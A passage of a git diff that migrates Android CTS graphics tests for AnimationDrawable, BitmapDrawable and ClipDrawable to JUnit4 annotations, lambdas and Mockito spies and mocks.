+        assertEquals(FRAMES_COUNT, mutated.getNumberOfFrames());
 
         Drawable frame = mResources.getDrawable(R.drawable.failed);
         mAnimationDrawable.addFrame(frame, 2000);
-        assertEquals(FRAMES_COUNT + 1, mAnimationDrawable.getNumberOfFrames());
+        assertEquals(FRAMES_COUNT + 1, mutated.getNumberOfFrames());
 
         // add same frame with same duration
         mAnimationDrawable.addFrame(frame, 2000);
-        assertEquals(FRAMES_COUNT + 2, mAnimationDrawable.getNumberOfFrames());
+        assertEquals(FRAMES_COUNT + 2, mutated.getNumberOfFrames());
 
         try {
             mAnimationDrawable.addFrame(null, 1000);
@@ -210,6 +180,7 @@
         }
     }
 
+    @Test
     public void testGetFrame() {
         Drawable frame = mAnimationDrawable.getFrame(FIRST_FRAME_INDEX);
         Drawable drawable = mResources.getDrawable(R.drawable.testimage);
@@ -227,87 +198,68 @@
         assertEquals(drawable.getIntrinsicHeight(), frame.getIntrinsicHeight());
 
         assertNull(mAnimationDrawable.getFrame(THIRD_FRAME_INDEX + 1));
-
-        try {
-            mAnimationDrawable.getFrame(-1);
-            fail("Should throw ArrayIndexOutOfBoundsException.");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
-
-        try {
-            mAnimationDrawable.getFrame(10);
-            fail("Should throw ArrayIndexOutOfBoundsException.");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
     }
 
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testGetFrameTooLow() {
+        mAnimationDrawable.getFrame(-1);
+    }
+
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testGetFrameTooHigh() {
+        mAnimationDrawable.getFrame(10);
+    }
+
+    @Test
     public void testGetDuration() {
         assertEquals(FIRST_FRAME_DURATION, mAnimationDrawable.getDuration(FIRST_FRAME_INDEX));
         assertEquals(SECOND_FRAME_DURATION, mAnimationDrawable.getDuration(SECOND_FRAME_INDEX));
         assertEquals(THIRD_FRAME_DURATION, mAnimationDrawable.getDuration(THIRD_FRAME_INDEX));
         assertEquals(0, mAnimationDrawable.getDuration(THIRD_FRAME_INDEX + 1));
-
-        try {
-            mAnimationDrawable.getDuration(-1);
-            fail("Should throw ArrayIndexOutOfBoundsException.");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
-
-        try {
-            mAnimationDrawable.getDuration(10);
-            fail("Should throw ArrayIndexOutOfBoundsException.");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
     }
 
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testGetDurationTooLow() {
+        mAnimationDrawable.getDuration(-1);
+    }
+
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testGetDurationTooHigh() {
+        mAnimationDrawable.getDuration(10);
+    }
+
+    @Test
     public void testAccessOneShot() throws Throwable {
         // animation should play repeat if do not stop it.
         assertFalse(mAnimationDrawable.isOneShot());
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mAnimationDrawable.start();
-            }
-        });
+        mActivityRule.runOnUiThread(mAnimationDrawable::start);
         pollingCheckDrawable(SECOND_FRAME_INDEX, FIRST_FRAME_DURATION);
         pollingCheckDrawable(THIRD_FRAME_INDEX, SECOND_FRAME_DURATION);
         // begin to repeat
         pollingCheckDrawable(FIRST_FRAME_INDEX, THIRD_FRAME_DURATION);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mAnimationDrawable.stop();
-                mAnimationDrawable.setOneShot(true);
-                assertTrue(mAnimationDrawable.isOneShot());
-                mAnimationDrawable.start();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mAnimationDrawable.stop();
+            mAnimationDrawable.setOneShot(true);
+            assertTrue(mAnimationDrawable.isOneShot());
+            mAnimationDrawable.start();
         });
         pollingCheckDrawable(SECOND_FRAME_INDEX, FIRST_FRAME_DURATION);
         pollingCheckDrawable(THIRD_FRAME_INDEX, SECOND_FRAME_DURATION);
         // do not repeat
-        assertStoppedAnimation(THIRD_FRAME_INDEX, THIRD_FRAME_DURATION);
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                // Set visible to false and restart to false
-                mAnimationDrawable.setVisible(false, false);
-            }
-        });
+        verifyStoppedAnimation(THIRD_FRAME_INDEX, THIRD_FRAME_DURATION);
+        // Set visible to false and restart to false
+        mActivityRule.runOnUiThread(() -> mAnimationDrawable.setVisible(false, false));
         // Check that animation drawable stays on the same frame
-        assertStoppedAnimation(THIRD_FRAME_INDEX, THIRD_FRAME_DURATION);
+        verifyStoppedAnimation(THIRD_FRAME_INDEX, THIRD_FRAME_DURATION);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                // Set visible to true and restart to false
-                mAnimationDrawable.setVisible(true, false);
-            }
-        });
+        // Set visible to true and restart to false
+        mActivityRule.runOnUiThread(() -> mAnimationDrawable.setVisible(true, false));
         // Check that animation drawable stays on the same frame
-        assertStoppedAnimation(THIRD_FRAME_INDEX, THIRD_FRAME_DURATION);
+        verifyStoppedAnimation(THIRD_FRAME_INDEX, THIRD_FRAME_DURATION);
     }
 
+    @Test
     public void testInflateCorrect() throws XmlPullParserException, IOException {
         XmlResourceParser parser = getResourceParser(R.xml.anim_list_correct);
         AnimationDrawable dr = new AnimationDrawable();
@@ -326,6 +278,7 @@
         assertSame(dr.getFrame(0), dr.getCurrent());
     }
 
+    @Test
     public void testInflateMissingDrawable() throws XmlPullParserException, IOException {
         XmlResourceParser parser = getResourceParser(R.xml.anim_list_missing_item_drawable);
         AnimationDrawable dr = new AnimationDrawable();
@@ -337,39 +290,31 @@
         }
     }
 
+    @Test(expected=NullPointerException.class)
     public void testInflateNullResources() throws XmlPullParserException, IOException {
         XmlResourceParser parser = getResourceParser(R.drawable.animationdrawable);
         AnimationDrawable dr = new AnimationDrawable();
-        try {
-            dr.inflate(null, parser, Xml.asAttributeSet(parser));
-            fail("Should throw NullPointerException if resource is null");
-        } catch (NullPointerException e) {
-            // expected
-        }
+        // Should throw NullPointerException if resource is null
+        dr.inflate(null, parser, Xml.asAttributeSet(parser));
     }
 
+    @Test(expected=NullPointerException.class)
     public void testInflateNullXmlPullParser() throws XmlPullParserException, IOException {
         XmlResourceParser parser = getResourceParser(R.drawable.animationdrawable);
         AnimationDrawable dr = new AnimationDrawable();
-        try {
-            dr.inflate(mResources, null, Xml.asAttributeSet(parser));
-            fail("Should throw NullPointerException if parser is null");
-        } catch (NullPointerException e) {
-            // expected
-        }
+        // Should throw NullPointerException if parser is null
+        dr.inflate(mResources, null, Xml.asAttributeSet(parser));
     }
 
+    @Test(expected=NullPointerException.class)
     public void testInflateNullAttributeSet() throws XmlPullParserException, IOException {
         XmlResourceParser parser = getResourceParser(R.drawable.animationdrawable);
         AnimationDrawable dr = new AnimationDrawable();
-        try {
-            dr.inflate(mResources, parser, null);
-            fail("Should throw NullPointerException if AttributeSet is null");
-        } catch (NullPointerException e) {
-            // expected
-        }
+        // Should throw NullPointerException if AttributeSet is null
+        dr.inflate(mResources, parser, null);
     }
 
+    @Test
     public void testMutate() {
         AnimationDrawable d1 = (AnimationDrawable) mResources
                 .getDrawable(R.drawable.animationdrawable);
@@ -395,13 +340,9 @@
      * @param timeout - timeout.
      */
     private void pollingCheckDrawable(final int index, long timeout) {
-        new PollingCheck(timeout + TOLERANCE) {
-            Drawable expected = mAnimationDrawable.getFrame(index);
-            @Override
-            protected boolean check() {
-                return mAnimationDrawable.getCurrent().equals(expected);
-            }
-        }.run();
+        final Drawable expected = mAnimationDrawable.getFrame(index);
+        PollingCheck.waitFor(timeout + TOLERANCE,
+                () -> mAnimationDrawable.getCurrent().equals(expected));
     }
 
     /**
@@ -410,7 +351,7 @@
      * @param index - index of current frame.
      * @param duration - duration of current frame.
      */
-    private void assertStoppedAnimation(int index, long duration) throws InterruptedException {
+    private void verifyStoppedAnimation(int index, long duration) throws InterruptedException {
         Thread.sleep(duration + TOLERANCE);
         assertSame(mAnimationDrawable.getFrame(index), mAnimationDrawable.getCurrent());
     }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
index f9592dc..170d685 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
@@ -16,11 +16,23 @@
 
 package android.graphics.drawable.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.content.res.Resources.Theme;
 import android.graphics.BitmapFactory;
 import android.graphics.Rect;
 import android.graphics.cts.R;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParserException;
 
 import android.content.Context;
@@ -39,7 +51,9 @@
 import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.Drawable.ConstantState;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.LayoutDirection;
 import android.util.Xml;
@@ -51,7 +65,9 @@
 import java.io.IOException;
 import java.io.InputStream;
 
-public class BitmapDrawableTest extends InstrumentationTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class BitmapDrawableTest {
     // A small value is actually making sure that the values are matching
     // exactly with the golden image.
     // We can increase the threshold if the Skia is drawing with some variance
@@ -65,13 +81,13 @@
     // The target context.
     private Context mContext;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testConstructor() {
         // TODO: should default paint flags be left as an untested implementation detail?
         final int defaultPaintFlags = Paint.FILTER_BITMAP_FLAG | Paint.DITHER_FLAG |
@@ -109,6 +125,7 @@
         new BitmapDrawable((InputStream) null);
     }
 
+    @Test
     public void testAccessGravity() {
         InputStream source = mContext.getResources().openRawResource(R.raw.testimage);
         BitmapDrawable bitmapDrawable = new BitmapDrawable(source);
@@ -125,6 +142,7 @@
         assertEquals(Integer.MAX_VALUE, bitmapDrawable.getGravity());
     }
 
+    @Test
     public void testAccessMipMap() {
         Bitmap source = BitmapFactory.decodeResource(mContext.getResources(), R.raw.testimage);
         BitmapDrawable bitmapDrawable = new BitmapDrawable(source);
@@ -136,6 +154,7 @@
         assertFalse(source.hasMipMap());
     }
 
+    @Test
     public void testSetAntiAlias() {
         InputStream source = mContext.getResources().openRawResource(R.raw.testimage);
         BitmapDrawable bitmapDrawable = new BitmapDrawable(source);
@@ -149,6 +168,7 @@
         assertFalse(bitmapDrawable.getPaint().isAntiAlias());
     }
 
+    @Test
     public void testSetFilterBitmap() {
         InputStream source = mContext.getResources().openRawResource(R.raw.testimage);
         BitmapDrawable bitmapDrawable = new BitmapDrawable(source);
@@ -162,6 +182,7 @@
         assertTrue(bitmapDrawable.getPaint().isFilterBitmap());
     }
 
+    @Test
     public void testIsFilterBitmap() {
         InputStream source = mContext.getResources().openRawResource(R.raw.testimage);
         BitmapDrawable bitmapDrawable = new BitmapDrawable(source);
@@ -178,6 +199,7 @@
         assertEquals(bitmapDrawable.isFilterBitmap(), bitmapDrawable.getPaint().isFilterBitmap());
     }
 
+    @Test
     public void testSetDither() {
         InputStream source = mContext.getResources().openRawResource(R.raw.testimage);
         BitmapDrawable bitmapDrawable = new BitmapDrawable(source);
@@ -192,6 +214,7 @@
 
     }
 
+    @Test
     public void testAccessTileMode() {
         InputStream source = mContext.getResources().openRawResource(R.raw.testimage);
         BitmapDrawable bitmapDrawable = new BitmapDrawable(source);
@@ -232,6 +255,7 @@
         assertNotSame(oldShader, bitmapDrawable.getPaint().getShader());
     }
 
+    @Test
     public void testGetChangingConfigurations() {
         InputStream source = mContext.getResources().openRawResource(R.raw.testimage);
         BitmapDrawable bitmapDrawable = new BitmapDrawable(source);
@@ -245,12 +269,7 @@
         assertEquals(2, bitmapDrawable.getChangingConfigurations());
     }
 
-    public void testOnBoundsChange() {
-        // Do not test this API. it is callbacks which:
-        // 1. The callback machanism has been tested in super class
-        // 2. The functionality is implmentation details, no need to test
-    }
-
+    @Test
     public void testSetAlpha() {
         InputStream source = mContext.getResources().openRawResource(R.raw.testimage);
         BitmapDrawable bitmapDrawable = new BitmapDrawable(source);
@@ -271,6 +290,7 @@
         assertEquals(0, bitmapDrawable.getPaint().getAlpha());
     }
 
+    @Test
     public void testSetColorFilter() {
         InputStream source = mContext.getResources().openRawResource(R.raw.testimage);
         BitmapDrawable bitmapDrawable = new BitmapDrawable(source);
@@ -285,6 +305,7 @@
         assertNull(bitmapDrawable.getPaint().getColorFilter());
     }
 
+    @Test
     public void testSetTint() {
         final InputStream source = mContext.getResources().openRawResource(R.raw.testimage);
         final BitmapDrawable d = new BitmapDrawable(source);
@@ -297,6 +318,7 @@
         d.setTintMode(null);
     }
 
+    @Test
     public void testGetOpacity() {
         BitmapDrawable bitmapDrawable = new BitmapDrawable();
         assertEquals(Gravity.FILL, bitmapDrawable.getGravity());
@@ -317,6 +339,7 @@
         assertEquals(PixelFormat.TRANSLUCENT, bitmapDrawable.getOpacity());
     }
 
+    @Test
     public void testGetConstantState() {
         InputStream source = mContext.getResources().openRawResource(R.raw.testimage);
         BitmapDrawable bitmapDrawable = new BitmapDrawable(source);
@@ -331,6 +354,7 @@
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testGetIntrinsicSize() {
         BitmapDrawable bitmapDrawable = new BitmapDrawable();
         assertEquals(0, bitmapDrawable.getIntrinsicWidth());
@@ -350,6 +374,7 @@
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testSetTargetDensity() {
         int sourceWidth, targetWidth;
         int sourceHeight, targetHeight;
@@ -403,6 +428,7 @@
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testInflate() throws IOException, XmlPullParserException {
         BitmapDrawable bitmapDrawable = new BitmapDrawable();
 
@@ -465,6 +491,7 @@
         }
     }
 
+    @Test
     public void testDraw() {
         InputStream source = mContext.getResources().openRawResource(R.raw.testimage);
         BitmapDrawable bitmapDrawable = new BitmapDrawable(source);
@@ -480,26 +507,34 @@
         }
     }
 
+    @Test
     public void testMutate() {
         Resources resources = mContext.getResources();
         BitmapDrawable d1 = (BitmapDrawable) resources.getDrawable(R.drawable.testimage);
         BitmapDrawable d2 = (BitmapDrawable) resources.getDrawable(R.drawable.testimage);
         BitmapDrawable d3 = (BitmapDrawable) resources.getDrawable(R.drawable.testimage);
+        int restoreAlpha = d1.getAlpha();
 
-        d1.setAlpha(100);
-        assertEquals(100, d1.getPaint().getAlpha());
-        assertEquals(100, d2.getPaint().getAlpha());
-        assertEquals(100, d3.getPaint().getAlpha());
+        try {
+            // verify bad behavior - modify before mutate pollutes other drawables
+            d1.setAlpha(100);
+            assertEquals(100, d1.getPaint().getAlpha());
+            assertEquals(100, d2.getPaint().getAlpha());
+            assertEquals(100, d3.getPaint().getAlpha());
 
-        d1.mutate();
-        d1.setAlpha(200);
-        assertEquals(200, d1.getPaint().getAlpha());
-        assertEquals(100, d2.getPaint().getAlpha());
-        assertEquals(100, d3.getPaint().getAlpha());
-        d2.setAlpha(50);
-        assertEquals(200, d1.getPaint().getAlpha());
-        assertEquals(50, d2.getPaint().getAlpha());
-        assertEquals(50, d3.getPaint().getAlpha());
+            d1.mutate();
+            d1.setAlpha(200);
+            assertEquals(200, d1.getPaint().getAlpha());
+            assertEquals(100, d2.getPaint().getAlpha());
+            assertEquals(100, d3.getPaint().getAlpha());
+            d2.setAlpha(50);
+            assertEquals(200, d1.getPaint().getAlpha());
+            assertEquals(50, d2.getPaint().getAlpha());
+            assertEquals(50, d3.getPaint().getAlpha());
+        } finally {
+            // restore externally visible state, since other tests may use the drawable
+            resources.getDrawable(R.drawable.testimage).setAlpha(restoreAlpha);
+        }
     }
 
     private static final int[] DENSITY_VALUES = new int[] {
@@ -512,19 +547,20 @@
             R.drawable.bitmap_shader_am_density,
     };
 
+    @Test
     public void testPreloadDensity() throws XmlPullParserException, IOException {
         final Resources res = mContext.getResources();
         final int densityDpi = res.getConfiguration().densityDpi;
         try {
             for (int i = 0; i < DENSITY_IMAGES.length; i++) {
-                testPreloadDensityInner(res, DENSITY_IMAGES[i], DENSITY_VALUES);
+                verifyPreloadDensityInner(res, DENSITY_IMAGES[i], DENSITY_VALUES);
             }
         } finally {
             DrawableTestUtils.setResourcesDensity(res, densityDpi);
         }
     }
 
-    private void testPreloadDensityInner(Resources res, int sourceResId, int[] densities)
+    private void verifyPreloadDensityInner(Resources res, int sourceResId, int[] densities)
             throws XmlPullParserException, IOException {
         final Rect tempPadding = new Rect();
 
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/ClipDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/ClipDrawableTest.java
index 074cbd9..2a41fbe 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/ClipDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/ClipDrawableTest.java
@@ -16,32 +16,57 @@
 
 package android.graphics.drawable.cts;
 
-import android.graphics.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
 
+import android.content.Context;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.ColorFilter;
+import android.graphics.PixelFormat;
+import android.graphics.Rect;
+import android.graphics.cts.R;
+import android.graphics.drawable.BitmapDrawable;
+import android.graphics.drawable.ClipDrawable;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
+import android.graphics.drawable.Drawable.ConstantState;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.AttributeSet;
+import android.util.StateSet;
+import android.util.Xml;
+import android.view.Gravity;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
 import org.xmlpull.v1.XmlPullParserException;
 
 import java.io.IOException;
 import java.util.Arrays;
 
-import android.graphics.Bitmap;
-import android.graphics.Bitmap.Config;
-import android.graphics.Canvas;
-import android.graphics.ColorFilter;
-import android.graphics.PixelFormat;
-import android.graphics.Rect;
-import android.graphics.drawable.BitmapDrawable;
-import android.graphics.drawable.ClipDrawable;
-import android.graphics.drawable.Drawable;
-import android.graphics.drawable.Drawable.ConstantState;
-import android.test.AndroidTestCase;
-import android.util.AttributeSet;
-import android.util.StateSet;
-import android.util.Xml;
-import android.view.Gravity;
-
-public class ClipDrawableTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ClipDrawableTest {
     @SuppressWarnings("deprecation")
+    @Test
     public void testClipDrawable() {
         new ClipDrawable((Drawable) null, Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
 
@@ -49,16 +74,17 @@
         new ClipDrawable(bmpDrawable, Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
     }
 
+    @Test
     public void testDraw() {
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = spy(new ColorDrawable(Color.GREEN));
         mockDrawable.setLevel(5000);
         ClipDrawable clipDrawable = new ClipDrawable(mockDrawable,
                 Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
         clipDrawable.setBounds(new Rect(0, 0, 100, 100));
         clipDrawable.setLevel(5000);
-        assertFalse(mockDrawable.getCalledDraw());
+        verify(mockDrawable, never()).draw(any());
         clipDrawable.draw(new Canvas());
-        assertTrue(mockDrawable.getCalledDraw());
+        verify(mockDrawable, times(1)).draw(any());
 
         try {
             clipDrawable.draw(null);
@@ -67,17 +93,18 @@
         }
     }
 
+    @Test
     public void testGetChangingConfigurations() {
         final int SUPER_CONFIG = 1;
         final int CONTAINED_DRAWABLE_CONFIG = 2;
 
-        MockDrawable mockDrawable = new MockDrawable();
-        ClipDrawable clipDrawable = new ClipDrawable(mockDrawable,
+        Drawable colorDrawable = new ColorDrawable(Color.GREEN);
+        ClipDrawable clipDrawable = new ClipDrawable(colorDrawable,
                 Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
 
         assertEquals(0, clipDrawable.getChangingConfigurations());
 
-        mockDrawable.setChangingConfigurations(CONTAINED_DRAWABLE_CONFIG);
+        colorDrawable.setChangingConfigurations(CONTAINED_DRAWABLE_CONFIG);
         assertEquals(CONTAINED_DRAWABLE_CONFIG, clipDrawable.getChangingConfigurations());
 
         clipDrawable.setChangingConfigurations(SUPER_CONFIG);
@@ -85,13 +112,15 @@
                 clipDrawable.getChangingConfigurations());
     }
 
+    @Test
     public void testGetConstantState() {
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = spy(new ColorDrawable(Color.GREEN));
+        doReturn(null).when(mockDrawable).getConstantState();
         ClipDrawable clipDrawable = new ClipDrawable(mockDrawable,
                 Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
         assertNull(clipDrawable.getConstantState());
 
-        mockDrawable.setConstantState(new MockConstantState());
+        doReturn(new MockConstantState()).when(mockDrawable).getConstantState();
         clipDrawable = new ClipDrawable(mockDrawable, Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
         clipDrawable.setChangingConfigurations(1);
         assertNotNull(clipDrawable.getConstantState());
@@ -99,9 +128,10 @@
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testGetIntrinsicHeight() {
-        MockDrawable mockDrawable = new MockDrawable();
-        ClipDrawable clipDrawable = new ClipDrawable(mockDrawable,
+        Drawable colorDrawable = new ColorDrawable(Color.GREEN);
+        ClipDrawable clipDrawable = new ClipDrawable(colorDrawable,
                 Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
         assertEquals(-1, clipDrawable.getIntrinsicHeight());
 
@@ -113,9 +143,10 @@
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testGetIntrinsicWidth() {
-        MockDrawable mockDrawable = new MockDrawable();
-        ClipDrawable clipDrawable = new ClipDrawable(mockDrawable,
+        Drawable colorDrawable = new ColorDrawable(Color.GREEN);
+        ClipDrawable clipDrawable = new ClipDrawable(colorDrawable,
                 Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
         assertEquals(-1, clipDrawable.getIntrinsicWidth());
 
@@ -127,13 +158,12 @@
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testGetOpacity() {
-        MockDrawable dr;
-        ClipDrawable clipDrawable;
+        Drawable dr = spy(new ColorDrawable(Color.GREEN));
+        doReturn(PixelFormat.OPAQUE).when(dr).getOpacity();
 
-        dr = new MockDrawable();
-        dr.setOpacity(PixelFormat.OPAQUE);
-        clipDrawable = new ClipDrawable(dr, Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
+        ClipDrawable clipDrawable = new ClipDrawable(dr, Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
         clipDrawable.setLevel(0);
         assertEquals("Fully-clipped opaque drawable is transparent",
                 PixelFormat.TRANSPARENT, clipDrawable.getOpacity());
@@ -144,17 +174,17 @@
         assertEquals("Unclipped opaque drawable is opaque",
                 PixelFormat.OPAQUE, clipDrawable.getOpacity());
 
-        dr = new MockDrawable();
-        dr.setOpacity(PixelFormat.TRANSLUCENT);
+        doReturn(PixelFormat.TRANSLUCENT).when(dr).getOpacity();
         clipDrawable = new ClipDrawable(dr, Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
         clipDrawable.setLevel(10000);
         assertEquals("Unclipped translucent drawable is translucent",
                 PixelFormat.TRANSLUCENT, clipDrawable.getOpacity());
     }
 
+    @Test
     public void testGetPadding() {
-        MockDrawable mockDrawable = new MockDrawable();
-        ClipDrawable clipDrawable = new ClipDrawable(mockDrawable,
+        Drawable colorDrawable = new ColorDrawable(Color.GREEN);
+        ClipDrawable clipDrawable = new ClipDrawable(colorDrawable,
                 Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
         Rect padding = new Rect(10, 10, 100, 100);
         assertFalse(clipDrawable.getPadding(padding));
@@ -171,32 +201,36 @@
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testInflate() throws XmlPullParserException, IOException {
         BitmapDrawable bmpDrawable = new BitmapDrawable();
         ClipDrawable clipDrawable = new ClipDrawable(bmpDrawable,
                 Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
 
-        XmlPullParser parser = mContext.getResources().getXml(R.drawable.gradientdrawable);
+        Resources resources = InstrumentationRegistry.getTargetContext().getResources();
+        XmlPullParser parser = resources.getXml(R.drawable.gradientdrawable);
         AttributeSet attrs = Xml.asAttributeSet(parser);
-        clipDrawable.inflate(mContext.getResources(), parser, attrs);
+        clipDrawable.inflate(resources, parser, attrs);
     }
 
+    @Test
     public void testInvalidateDrawable() {
-        MockDrawable mockDrawable = new MockDrawable();
-        ClipDrawable clipDrawable = new ClipDrawable(mockDrawable,
+        Drawable colorDrawable = new ColorDrawable(Color.GREEN);
+        ClipDrawable clipDrawable = new ClipDrawable(colorDrawable,
                 Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
-        MockCallback callback = new MockCallback();
+        Drawable.Callback callback = mock(Drawable.Callback.class);
         clipDrawable.setCallback(callback);
-        clipDrawable.invalidateDrawable(mockDrawable);
-        assertSame(clipDrawable, callback.getInvalidateDrawable());
+        clipDrawable.invalidateDrawable(colorDrawable);
+        verify(callback, times(1)).invalidateDrawable(clipDrawable);
 
         clipDrawable.invalidateDrawable(null);
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testIsStateful() {
-        MockDrawable mockDrawable = new MockDrawable();
-        ClipDrawable clipDrawable = new ClipDrawable(mockDrawable,
+        Drawable colorDrawable = new ColorDrawable(Color.GREEN);
+        ClipDrawable clipDrawable = new ClipDrawable(colorDrawable,
                 Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
         assertFalse(clipDrawable.isStateful());
 
@@ -206,19 +240,20 @@
         assertFalse(clipDrawable.isStateful());
     }
 
+    @Test
     public void testOnBoundsChange() {
-        MockDrawable mockDrawable = new MockDrawable();
-        MockClipDrawable mockClipDrawable = new MockClipDrawable(mockDrawable,
+        Drawable colorDrawable = new ColorDrawable(Color.GREEN);
+        MockClipDrawable mockClipDrawable = new MockClipDrawable(colorDrawable,
                 Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
-        assertEquals(0, mockDrawable.getBounds().left);
-        assertEquals(0, mockDrawable.getBounds().top);
-        assertEquals(0, mockDrawable.getBounds().bottom);
-        assertEquals(0, mockDrawable.getBounds().right);
+        assertEquals(0, colorDrawable.getBounds().left);
+        assertEquals(0, colorDrawable.getBounds().top);
+        assertEquals(0, colorDrawable.getBounds().bottom);
+        assertEquals(0, colorDrawable.getBounds().right);
         mockClipDrawable.onBoundsChange(new Rect(10, 10, 100, 100));
-        assertEquals(10, mockDrawable.getBounds().left);
-        assertEquals(10, mockDrawable.getBounds().top);
-        assertEquals(100, mockDrawable.getBounds().bottom);
-        assertEquals(100, mockDrawable.getBounds().right);
+        assertEquals(10, colorDrawable.getBounds().left);
+        assertEquals(10, colorDrawable.getBounds().top);
+        assertEquals(100, colorDrawable.getBounds().bottom);
+        assertEquals(100, colorDrawable.getBounds().right);
 
         try {
             mockClipDrawable.onBoundsChange(null);
@@ -227,27 +262,30 @@
         }
     }
 
+    @Test
     public void testOnLevelChange() {
-        MockDrawable mockDrawable = new MockDrawable();
-        MockClipDrawable mockClipDrawable = new MockClipDrawable(mockDrawable,
+        Drawable colorDrawable = new ColorDrawable(Color.GREEN);
+        MockClipDrawable mockClipDrawable = new MockClipDrawable(colorDrawable,
                 Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
-        MockCallback callback = new MockCallback();
+        Drawable.Callback callback = mock(Drawable.Callback.class);
         mockClipDrawable.setCallback(callback);
 
-        assertEquals("Default level is 0", 0, mockDrawable.getLevel());
+        assertEquals("Default level is 0", 0, colorDrawable.getLevel());
         mockClipDrawable.onLevelChange(1000);
-        assertEquals(1000, mockDrawable.getLevel());
-        assertSame(mockClipDrawable, callback.getInvalidateDrawable());
+        assertEquals(1000, colorDrawable.getLevel());
+        verify(callback, times(1)).invalidateDrawable(mockClipDrawable);
 
         mockClipDrawable.onLevelChange(0);
-        assertEquals(0, mockDrawable.getLevel());
+        assertEquals(0, colorDrawable.getLevel());
 
         mockClipDrawable.onLevelChange(10000);
-        assertEquals(10000, mockDrawable.getLevel());
+        assertEquals(10000, colorDrawable.getLevel());
     }
 
+    @Test
     public void testOnStateChange() {
-        Drawable d = mContext.getDrawable(R.drawable.pass);
+        Context context = InstrumentationRegistry.getTargetContext();
+        Drawable d = context.getDrawable(R.drawable.pass);
         MockClipDrawable clipDrawable = new MockClipDrawable(d,
                 Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
         assertEquals("initial child state is empty", d.getState(), StateSet.WILD_CARD);
@@ -256,7 +294,7 @@
